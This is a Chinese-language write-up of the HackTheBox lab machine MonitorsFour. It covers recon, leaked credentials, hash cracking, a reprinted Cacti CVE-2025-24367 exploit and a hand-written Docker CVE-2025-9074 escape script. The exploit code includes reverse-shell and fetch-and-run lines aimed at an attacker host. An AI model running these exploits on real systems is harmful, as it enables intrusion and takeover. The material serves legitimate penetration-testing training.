HTB:MonitorsFour[WriteUP]

连接至HTB服务器并启动靶机

靶机IP:10.10.11.98

分配IP:10.10.16.11


目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机TCP开放端口进行脚本、版本扫描

使用curl访问靶机80端口

使用浏览器访问该主域名

使用ffuf对该主域名进行路径枚举

使用curl访问/user接口

使用ffuf对参数值进行FUZZ

使用curl访问该URL

使用jq美化输出

使用hashcat对这些哈希值进行爆破

使用ffuf对该域名进行子域名枚举

使用浏览器访问该子域名

边界突破

使用admin账户登陆主域名

尝试使用evil-winrm登录monitorsdbuser账户

对子域名WebAPP进行CVE漏洞查询

查看官方安全修复

使用BurpSuite结合获取到的密码进行密码喷洒

使用github上公开的POC直接进行RCE

容器逃逸(文件读写)

查看系统信息

查看磁盘信息

查看环境信息

查看根目录下所有文件

通过WebAPP更新日志获取docker版本号

通过docker版本号检索到CVE-2025-9074

该漏洞允许读写宿主机文件,手搓一个EXP


信息收集

使用rustscan对靶机TCP端口进行开放扫描

bash 复制代码
rustscan -a 10.10.11.98 -t 5000 --ulimit 5000

使用nmap对靶机TCP开放端口进行脚本、版本扫描

bash 复制代码
nmap -sS -Pn -sCV -p80,5985 10.10.11.98

使用curl访问靶机80端口

bash 复制代码
curl -I http://10.10.11.98:80

┌──(root㉿x0da6h)-[/home/kali/Desktop/temp]

└─# curl -I http://10.10.11.98:80

HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Mon, 29 Dec 2025 06:11:57 GMT

Content-Type: text/html

Content-Length: 138

Connection: keep-alive

Location: http://monitorsfour.htb/

  • 提示被重定向至monitorsfour.htb,将靶机IP与该域名进行绑定
bash 复制代码
echo '10.10.11.98 monitorsfour.htb' >> /etc/hosts

使用浏览器访问该主域名

使用ffuf对该主域名进行路径枚举
bash 复制代码
ffuf -u http://monitorsfour.htb/FUZZ -w ../dictionary/dicc.txt -fs 146
  • 使用curl访问.env文件
bash 复制代码
curl http://monitorsfour.htb/.env

┌──(root㉿kali)-[/home/kali/Desktop]

└─# curl http://monitorsfour.htb/.env

DB_HOST=mariadb

DB_PORT=3306

DB_NAME=monitorsfour_db

DB_USER=monitorsdbuser

DB_PASS=f37p2j8f4t0r

  • 获得凭据

账户:monitorsdbuser

密码:f37p2j8f4t0r

使用curl访问/user接口
bash 复制代码
curl http://monitorsfour.htb/user

┌──(root㉿kali)-[/home/kali/Desktop]

└─# curl http://monitorsfour.htb/user

{"error":"Missing token parameter"}

  • 这里接口响应提示缺少token,尝试手动添加这个参数
bash 复制代码
curl http://monitorsfour.htb/user?token=1
  • 这里提示无效的token,说明参数名是对的

┌──(root㉿kali)-[/home/kali/Desktop]

└─# curl http://monitorsfour.htb/user?token=1

{"error":"Invalid or missing token"}

使用ffuf对参数值进行FUZZ
bash 复制代码
ffuf -u http://monitorsfour.htb/user?token=FUZZ -w dictionary/vars.txt -fs 36
使用curl访问该URL
bash 复制代码
curl http://monitorsfour.htb/user?token=0

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# curl http://monitorsfour.htb/user?token=0

{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}

使用jq美化输出
bash 复制代码
curl http://monitorsfour.htb/user?token=0 | jq
  • 使用一些命令对结果进行简单处理
bash 复制代码
curl -s http://monitorsfour.htb/user?token=0 | jq | grep -E 'username|pass' | cut  -d':' -f2 | awk -F'"' '{print $2}' | paste -d ':' - -

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# curl -s http://monitorsfour.htb/user?token=0 | jq | grep -E 'username|pass' | cut -d':' -f2 | awk -F'"' '{print $2}' | paste -d ':' - -

admin:56b32eb43e6f15395f6c46c1c9e1cd36

mwatson:69196959c16b26ef00b77d82cf6eb169

janderson:2a22dcf99190c322d974c8df5ba3256b

dthompson:8d4a7e7fd08555133e056d9aacb1e519

使用hashcat对这些哈希值进行爆破
bash 复制代码
hashcat -m 0 -a 0 creds.txt ../dictionary/rockyou.txt --username
  • 获得凭据

账户:admin

密码:wonderful1

使用ffuf对该域名进行子域名枚举

bash 复制代码
ffuf -u http://monitorsfour.htb/ -H 'Host: FUZZ.monitorsfour.htb' -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -fs 138
  • 将靶机IP与该子域名进行绑定
bash 复制代码
echo '10.10.11.98 cacti.monitorsfour.htb' >> /etc/hosts

使用浏览器访问该子域名

由页面可见该WebAPP为:Cacti 1.2.28


边界突破

使用admin账户登陆主域名

  • 成功登入

该WebAPP内无可用功能点与信息

尝试使用evil-winrm登录monitorsdbuser账户

bash 复制代码
evil-winrm -i 10.10.11.98 -u 'monitorsdbuser' -p 'f37p2j8f4t0r'
  • 无法正常连接

对子域名WebAPP进行CVE漏洞查询

  • 根据描述,CVE-2025-24367影响1.2.29下的版本,但是需要一个合法账号
  • 在Github上也能找到相关的POC

查看官方安全修复

漏洞详情:https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq

POST http://192.168.178.78/cacti/graph_templates.php?header=false HTTP/1.1

host: 192.168.178.78

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0

Accept: */*

Accept-Language: en-GB,en;q=0.5

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

content-length: 804

Origin: http://192.168.178.78

Connection: keep-alive

Referer: http://192.168.178.78/cacti/graph_templates.php?action=template_edit\&id=297\&csrf_timeout=true\&csrf_timeout=true

Cookie: CactiDateTime=Fri Jan 03 2025 14:03:51 GMT+0000 (Greenwich Mean Time); CactiTimeZone=0; Cacti=r378gdiav394djct96o26mliud; cacti_remembers=1%2C0%2C1ac46cea6e1f0225f6e52320b4d734503fac5215a76879b3cb2c939d5cc56c49

Priority: u=0

__csrf_magic=sid%3A3363ef9d47d62372302b4941b790e92f5f749d9c%2C1735913031&name=PING+-+Advanced+Ping&graph_template_id=297&graph_template_graph_id=297&save_component_template=1&title=%7Chost_description%7C+-+Advanced+Ping&vertical_label=milliseconds&image_format_id=3&height=200&width=700&base_value=1000&slope_mode=on&auto_scale_opts=1&upper_limit=10&lower_limit=0&unit_value=&unit_exponent_value=1&unit_length=&right_axis=&right_axis_label=XXX%0Acreate+my.rrd+--step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0Agraph+xxx2.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A&right_axis_format=0&right_axis_formatter=0&left_axis_formatter=0&tab_width=30&legend_position=0&legend_direction=0&rrdtool_version=1.7.2&action=save

  • 我注意到一个SNMP命令注入导致的RCE也很有意思,但是该漏洞依赖于系统内使用SNMP工具是否以shell方式执行且,该靶场不一定适用因此略过

POST /cacti/host.php?header=false HTTP/1.1

Host: localhost

X-Requested-With: XMLHttpRequest

Accept-Encoding: gzip, deflate, br

__csrf_magic=sid%3A3a2d0b3cddfb5912184b4b5130bb698650fc35d2%2C1764272981&description=aaa&hostname=127.0.0.1&location=&poller_id=1&site_id=1&host_template_id=0&device_threads=1&snmp_version=2&snmp_community=public%0abash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f127.0.0.1%2f4444%200%3e%261'%0a%23&snmp_security_level=authPriv&snmp_auth_protocol=MD5&snmp_username=&snmp_password=&snmp_password_confirm=&snmp_priv_protocol=DES&snmp_priv_passphrase=&snmp_priv_passphrase_confirm=&snmp_context=&snmp_engine_id=&snmp_port=161&snmp_timeout=500&max_oids=10&bulk_walk_size=0&availability_method=2&ping_method=1&ping_port=23&ping_timeout=400&ping_retries=1&notes=&external_id=&id=3&save_component_host=1&graph_template_id=297&snmp_query_id=2&reindex_method=1&action=save

使用BurpSuite结合获取到的密码进行密码喷洒

账户:marcus

密码1:wonderful1

密码2:f37p2j8f4t0r

  • 构造请求包进行爆破

POST /cacti/index.php HTTP/1.1

Host: cacti.monitorsfour.htb

Content-Length: 127

Cache-Control: max-age=0

Origin: http://cacti.monitorsfour.htb

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://cacti.monitorsfour.htb/cacti/

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: CactiTimeZone=480; Cacti=ed925274b5cade860c3e8143755d5854; CactiDateTime=Wed Dec 31 2025 16:48:18 GMT+0800

Connection: keep-alive

__csrf_magic=sid%3Ac172317a74e4f538a6dc508ab5a51dac98310131%2C1767169083&action=login&login_username=admin&login_password=wonderful1

  • 获得凭据

账户:marcus

密码:wonderful1

  • 利用该凭据成功登入cacti

使用github上公开的POC直接进行RCE

python 复制代码
###########################################################
#                                                         #
# CVE-2025-24367 - Cacti Authenticated Graph Template RCE #
#         Created by TheCyberGeek @ HackTheBox            #
#             For educational purposes only               #    
#                                                         #
###########################################################

import argparse
import requests
import sys
import re
import time
import random
import string
import http.server
import os
import socketserver
import threading
from pathlib import Path
from urllib.parse import quote_plus
from bs4 import BeautifulSoup

SESSION = requests.Session()

"""
Custom HTTP logging class
"""
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        if args[1] == '200':
            print(f"[+] Got payload: {self.path}")
        else:
            pass

"""
Web server class with start and stop functionalities in working directory
"""
class BackgroundHTTPServer:
    def __init__(self, directory, port=80):
        self.directory = directory
        self.port = port
        self.httpd = None
        self.server_thread = None

    def start(self):
        os.chdir(self.directory)
        handler = CustomHTTPRequestHandler
        self.httpd = socketserver.TCPServer(("", self.port), handler)
        self.server_thread = threading.Thread(target=self.httpd.serve_forever)
        self.server_thread.daemon = True
        self.server_thread.start()
        print(f"[+] Serving HTTP on port {self.port}")

    def stop(self):
        if self.httpd:
            self.httpd.shutdown()
            self.httpd.server_close()
            self.server_thread.join()
            print(f"[+] Stopped HTTP server on port {self.port}")

"""
Check if instance is Cacti
"""
def check_cacti(url: str) -> None:
    req = requests.get(url)
    if "Cacti" in req.text:
        print("[+] Cacti Instance Found!")
    else:
        print("[!] No Cacti Instance was found, exiting...")
        exit(1)
    
"""
Log into the Cacti instance
"""
def login(url: str, username: str, password: str, ip: str, port: int, proxy: dict | None) -> None:
    res = SESSION.get(url, proxies=proxy)
    match = re.search(r'var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)', res.text)
    csrf_magic_token = match.group(1)
    data = {
        '__csrf_magic': csrf_magic_token,
        'action': 'login',
        'login_username': username,
        'login_password': password
    }
    req = SESSION.post(url + '/cacti/index.php', data=data, proxies=proxy)
    if 'You are now logged into' in req.text:
        print('[+] Login Successful!')
        return True
    else:
        print('[!] Login Failed :(')
        http_server.stop()
        exit(1)

"""
Write bash payload
"""
def write_payload(ip: str, port: int) -> None:
    with open("bash", "w") as f:
        f.write(f"#!/bin/bash\nbash -i >& /dev/tcp/{ip}/{port} 0>&1")
        f.close()

"""
Get the template ID required for exploitation (Unix - Logged In Users)
"""
def get_template_id(url: str, proxy: dict | None) -> int:
    graph_template_search = SESSION.get(url + '/cacti/graph_templates.php?filter=Unix - Logged in Users&rows=-1&has_graphs=false', proxies=proxy)
    soup = BeautifulSoup(graph_template_search.text, "html.parser")
    elem = soup.find("input", id=re.compile(r"chk_\d+"))

    if elem:
        template_id = int(elem["id"].split("_")[1])
        print(f"[+] Got graph ID: {template_id}")
    else:
        print("[!] Failed to get template ID")
        http_server.stop()
        exit(1)

    return template_id

"""
Trigger the payload in multiple requests
"""
def trigger_payload(url: str, ip: str, stage: str, template_id: int, proxy: dict | None) -> None:    
    # Edit graph template
    graph_template_page = SESSION.get(url + f'/cacti/graph_templates.php?action=template_edit&id={template_id}', proxies=proxy)
    match = re.search(r'var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)', graph_template_page.text)
    csrf_magic_token = match.group(1)

    # Generate random filename
    get_payload_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + ".php"
    trigger_payload_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + ".php"

    # Change payload based on stage
    if stage == "write payload":
        print(f"[i] Created PHP filename: {get_payload_filename}")
        right_axis_label = (
            f"XXX\n"
            f"create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 "
            f"RRA:AVERAGE:0.5:1:1200\n"
            f"graph {get_payload_filename} -s now -a CSV "
            f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`curl\\x20{ip}/bash\\x20-o\\x20bash`;?>\n"
        )
    else:
        print(f"[i] Created PHP filename: {trigger_payload_filename}")
        right_axis_label = (
            f"XXX\n"
            f"create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 "
            f"RRA:AVERAGE:0.5:1:1200\n"
            f"graph {trigger_payload_filename} -s now -a CSV "
            f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`bash\\x20bash`;?>\n"
        )        

    data = {
        "__csrf_magic": csrf_magic_token,
        "name": "Unix - Logged in Users",
        "graph_template_id": template_id,
        "graph_template_graph_id": template_id,
        "save_component_template": "1",
        "title": "|host_description| - Logged in Users",
        "vertical_label": "percent",
        "image_format_id": "3",
        "height": "200",
        "width": "700",
        "base_value": "1000",
        "slope_mode": "on",
        "auto_scale": "on",
        "auto_scale_opts": "2",
        "auto_scale_rigid": "on",
        "upper_limit": "100",
        "lower_limit": "0",
        "unit_value": "",
        "unit_exponent_value": "",
        "unit_length": "",
        "right_axis": "",
        "right_axis_label": right_axis_label,
        "right_axis_format": "0",
        "right_axis_formatter": "0",
        "left_axis_formatter": "0",
        "auto_padding": "on",
        "tab_width": "30",
        "legend_position": "0",
        "legend_direction": "0",
        "rrdtool_version": "1.7.2",
        "action": "save"
    }

    # Update the template
    get_file = SESSION.post(url + '/cacti/graph_templates.php?header=false', data=data, allow_redirects=True, proxies=proxy)

    # Trigger execution
    trigger_write = SESSION.get(url + f'/cacti/graph_json.php?rra_id=0&local_graph_id=3&graph_start=1761683272&graph_end=1761769672&graph_height=200&graph_width=700')

    # Get payloads
    try:
        if stage == "write payload":
            res = SESSION.get(url + f'/cacti/{get_payload_filename}')
        else:
            res = SESSION.get(url + f'/cacti/{trigger_payload_filename}', timeout=2)
    except requests.Timeout:
        print("[+] Hit timeout, looks good for shell, check your listener!")
        return

    if "File not found" in res.text:
        print("[!] Exploit failed to execute!")
        http_server.stop()
        exit(1)      

"""
Main function to parse args and trigger execution
"""
if __name__ == '__main__':
    parser = argparse.ArgumentParser(prog='CVE-2025-24367 - Cacti Authenticated Graph Template RCE')
    parser.add_argument('-u', '--user', type=str, required=True, help='Username for login')
    parser.add_argument('-p', '--password', type=str, required=True, help='Password for login')
    parser.add_argument('-i', '--ip', type=str, required=True, help='IP address for reverse shell')
    parser.add_argument('-l', '--port', type=str, required=True, help='Port number for reverse shell')
    parser.add_argument('-url', '--url', type=str, required=True, help='Base URL of the application')
    parser.add_argument('--proxy', action='store_true', help='Enable proxy usage (default: http://127.0.0.1:8080)')
    args = parser.parse_args()
    proxy = {'http': 'http://127.0.0.1:8080'} if args.proxy else None
    check_cacti(args.url)
    http_server = BackgroundHTTPServer(os.getcwd(), 80)
    http_server.start()  
    login(args.url, args.user, args.password, args.ip, args.port, proxy)
    template_id = get_template_id(args.url, proxy)
    write_payload(args.ip, args.port)
    trigger_payload(args.url, args.ip, "write payload", template_id, proxy)
    trigger_payload(args.url, args.ip, "trigger payload", template_id, proxy)
    http_server.stop()
    Path("bash").unlink(missing_ok=True)
  • 使用nc开始监听
bash 复制代码
nc -lvnp 1425
  • 利用POC脚本
bash 复制代码
python exp.py -url http://cacti.monitorsfour.htb -u marcus -p wonderful1 -i 10.10.16.7 -l 1425

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# python exp.py -url http://cacti.monitorsfour.htb -u marcus -p wonderful1 -i 10.10.16.7 -l 1425

+\] Cacti Instance Found! \[+\] Serving HTTP on port 80 \[+\] Login Successful! \[+\] Got graph ID: 226 \[i\] Created PHP filename: aM2bx.php \[+\] Got payload: /bash \[i\] Created PHP filename: INFJ0.php \[+\] Hit timeout, looks good for shell, check your listener! \[+\] Stopped HTTP server on port 80

  • 成功收到反弹shell
  • 在/home/marcus目录下找到user.txxt

www-data@821fbd6a43fa:/home/marcus$ pwd

pwd

/home/marcus

www-data@821fbd6a43fa:/home/marcus$ ls -a

ls -a

. .. .bash_logout .bashrc .profile user.txt

www-data@821fbd6a43fa:/home/marcus$ cat user.txt

cat user.txt

a3f808d5cdad8e1189a8b8f487fd6479


容器逃逸(文件读写)

查看系统信息

通过系统及环境信息判断是否在虚拟机或容器中

查看磁盘信息

bash 复制代码
df -h

www-data@821fbd6a43fa:/home/marcus$ df -h

df -h

Filesystem Size Used Avail Use% Mounted on

overlay 1007G 9.5G 947G 1% /

tmpfs 64M 0 64M 0% /dev

shm 64M 0 64M 0% /dev/shm

/dev/sde 1007G 9.5G 947G 1% /etc/hosts

tmpfs 952M 0 952M 0% /proc/acpi

tmpfs 952M 0 952M 0% /proc/scsi

tmpfs 952M 0 952M 0% /sys/firmware

  • 由输出可见,根目录文件系统名称为overlay,这是docker标准挂载特征

查看环境信息

bash 复制代码
env

www-data@821fbd6a43fa:/home/marcus$ env

env

HOSTNAME=821fbd6a43fa

PHP_VERSION=8.3.27

PHP_INI_DIR=/usr/local/etc/php

GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA

PHP_LDFLAGS=-Wl,-O1 -pie

PWD=/home/marcus

HOME=/var/www

PHP_SHA256=c15a09a9d199437144ecfef7d712ec4ca5c6820cf34acc24cc8489dd0cee41ba

PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c

PHP_URL=https://www.php.net/distributions/php-8.3.27.tar.xz

USER=www-data

SHLVL=4

PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

PHP_ASC_URL=https://www.php.net/distributions/php-8.3.27.tar.xz.asc

PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64

_=/usr/bin/env

OLDPWD=/home

  • 由输出可见,主机名是一个12位的十六进制字符串,而且有大量PHP_XXX环境变量,这都很可能是PHP Docker镜像在构建时自动注入的环境变量

查看根目录下所有文件

bash 复制代码
ls -al /

www-data@821fbd6a43fa:/home/marcus$ ls -al /

ls -al /

total 1304

drwxr-xr-x 1 root root 4096 Jan 4 05:21 .

drwxr-xr-x 1 root root 4096 Jan 4 05:21 ..

-rwxr-xr-x 1 root root 0 Nov 10 17:04 .dockerenv

lrwxrwxrwx 1 root root 7 Aug 24 16:20 bin -> usr/bin

drwxr-xr-x 2 root root 4096 Aug 24 16:20 boot

drwxr-xr-x 5 root root 340 Jan 4 04:12 dev

drwxr-xr-x 1 root root 4096 Nov 10 17:04 etc

drwxr-xr-x 1 root root 4096 Nov 10 16:15 home

lrwxrwxrwx 1 root root 7 Aug 24 16:20 lib -> usr/lib

lrwxrwxrwx 1 root root 9 Aug 24 16:20 lib64 -> usr/lib64

drwxr-xr-x 2 root root 4096 Nov 3 20:44 media

drwxr-xr-x 2 root root 4096 Nov 3 20:44 mnt

drwxr-xr-x 2 root root 4096 Nov 3 20:44 opt

dr-xr-xr-x 193 root root 0 Jan 4 04:12 proc

drwx------ 2 root root 4096 Nov 3 20:44 root

drwxr-xr-x 1 root root 4096 Nov 10 17:05 run

lrwxrwxrwx 1 root root 8 Aug 24 16:20 sbin -> usr/sbin

drwxr-xr-x 2 root root 4096 Nov 3 20:44 srv

-rwxr-xr-x 1 root root 113 Sep 13 06:13 start.sh

dr-xr-xr-x 13 root root 0 Jan 4 05:11 sys

drwxrwxrwt 1 root root 1265664 Jan 4 05:03 tmp

drwxr-xr-x 1 root root 4096 Nov 3 20:44 usr

drwxr-xr-x 1 root root 4096 Nov 4 04:06 var

  • 由输出可见,根目录下存在.dockerenv文件。基于以上三点基本可以确定我们正在一个基于docker的PHP镜像中

通过WebAPP更新日志获取docker版本号

版本:Docker Desktop 4.44.2

通过docker版本号检索到CVE-2025-9074

  • 通过漏洞描述,在容器内访问192.168.65.7:2375/_ping如果返回OK则可能存在该漏洞
bash 复制代码
curl 192.168.65.7:2375/_ping; echo

www-data@821fbd6a43fa:/home/marcus$ curl 192.168.65.7:2375/_ping; echo

curl 192.168.65.7:2375/_ping; echo

OK

该漏洞允许读写宿主机文件,手搓一个EXP

bash 复制代码
set -e

HOST="${CVE_HOST:-192.168.65.7}"
PORT="${CVE_PORT:-2375}"
IMAGE="${CVE_IMAGE:-alpine}"
BASE_URL="http://$HOST:$PORT"

usage() {
    echo "Usage:"
    echo "bash $0 -read \"C:/path/to/file.txt\""
    echo "bash $0 -write \"<content>\" \"C:/path/to/file.txt\""
    echo ""
    exit 1
}

if [ "$#" -lt 2 ]; then
    usage
fi

ACTION="$1"; shift

if [ "$ACTION" = "-write" ]; then
    if [ "$#" -ne 2 ]; then
        echo "[!] Error: -write requires exactly 2 arguments." >&2
        usage
    fi
    CONTENT="$1"
    WIN_PATH="$2"
elif [ "$ACTION" = "-read" ]; then
    if [ "$#" -ne 1 ]; then
        echo "[!] Error: -read requires exactly 1 argument." >&2
        usage
    fi
    CONTENT=""
    WIN_PATH="$1"
else
    echo "[!] Unknown action: $ACTION" >&2
    usage
fi

convert_path() {
    printf '%s\n' "$1" | sed -E 's@^([A-Za-z]):[/\\]@/mnt/host/\L\1/@' | tr '\\' '/'
}

HOST_LINUX_PATH=$(convert_path "$WIN_PATH")
MOUNT_PATH="/host_root"
FILE_BASENAME=$(basename "$HOST_LINUX_PATH")
HOST_DIR=$(dirname "$HOST_LINUX_PATH")

echo "[+] Targeting Docker HTTP API at $BASE_URL"
echo "[+] Windows path: $WIN_PATH"
echo "[+] Mapped to: $HOST_LINUX_PATH"

api() {
    curl -s -X "$1" "$BASE_URL$2" --connect-timeout 8 "${@:3}"
}

echo -n "[*] Checking /_ping... "
ping_resp=$(api GET "/_ping")
if [ "$ping_resp" != "OK" ]; then
    echo "FAIL (got: $ping_resp)"
    exit 2
else
    echo "OK"
fi

version_resp=$(api GET "/version")
ver=$(echo "$version_resp" | sed -n 's/.*"Version":"\([^"]*\)".*/\1/p')
os=$(echo "$version_resp" | sed -n 's/.*"Os":"\([^"]*\)".*/\1/p')
platform=$(echo "$version_resp" | sed -n 's/.*"Name":"\([^"]*\)".*/\1/p')
echo "[+] Docker Engine: ${ver:-?} (${os:-?} ${platform:-?})"

if [ "$ACTION" = "-write" ]; then
    # Use printf %s to avoid trailing newline; wrap content in single quotes
    CMD="printf '%s' '$CONTENT' > '$MOUNT_PATH/$FILE_BASENAME'"
elif [ "$ACTION" = "-read" ]; then
    CMD="cat '$MOUNT_PATH/$FILE_BASENAME'"
fi

PAYLOAD=$(cat <<EOF
{
  "Image": "$IMAGE",
  "Cmd": ["sh", "-c", "$CMD"],
  "HostConfig": {
    "Binds": ["$HOST_DIR:$MOUNT_PATH"]
  }
}
EOF
)

echo "[*] Creating container..."
CREATE_RESP=$(api POST "/containers/create" -H "Content-Type: application/json" -d "$PAYLOAD")
CID=$(echo "$CREATE_RESP" | sed -n 's/.*"Id":"\([a-f0-9]*\)".*/\1/p')

if [ -z "$CID" ]; then
    echo "[!] Failed to create container. Response: $CREATE_RESP" >&2
    exit 3
fi

SHORT_CID=$(echo "$CID" | cut -c1-12)
echo "[+] Created container: $SHORT_CID"

echo "[*] Starting container..."
api POST "/containers/$CID/start" -d "" >/dev/null

if [ "$ACTION" = "-read" ]; then
    sleep 1
    LOGS=$(api GET "/containers/$CID/logs?stdout=1&stderr=1")
    printf "%s" "$LOGS"
    echo ""  # final newline
fi

echo "[*] Removing container..."
api DELETE "/containers/$CID?force=1" >/dev/null 2>&1

if [ "$ACTION" = "-write" ]; then
    echo "[+] Successfully wrote to: $WIN_PATH"
fi
  • 亲测非常好用
  • 使用EXP直接读取root.txt文件即可
bash 复制代码
bash ./POC-for-CVE-2025-9074.sh -read "C:/Users/Administrator/Desktop/root.txt"
相关推荐
2503_946971861 天前
【FullStack/ZeroDay】2026年度全栈魔法架构与分布式恶意节点清除基准索引 (Benchmark Index)
分布式·网络安全·架构·系统架构·区块链·数据集·全栈开发
DeepVis Research1 天前
【BCI/Consensus】2026年度脑机接口协同与分布式共识机制基准索引 (Benchmark Index)
人工智能·网络安全·数据集·脑机接口·分布式系统
深圳市恒讯科技1 天前
防止服务器被黑:终极防范网络攻击指南
运维·服务器·网络安全
2503_946971861 天前
【P2P/Blockchain】2026年度去中心化P2P协议与不可变智能合约审计基准索引 (Benchmark Index)
网络安全·区块链·数据集·架构设计·分布式系统
Whoami!1 天前
❿⁄₁ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击 ➱ 针对网络服务的密码攻击
网络安全·信息安全·密码攻击
刘婉晴2 天前
【Kali 渗透测试】信息收集
网络安全·渗透测试
暗流者2 天前
ctf wiki中kernel pwn 学习编译内核(2026年最新版)
学习·安全·网络安全·pwn
vortex52 天前
NetExec 全模块使用手册
windows·网络安全
上学的小垃圾2 天前
基于Centos9部署OpenVP*
网络·网络协议·网络安全·信息与通信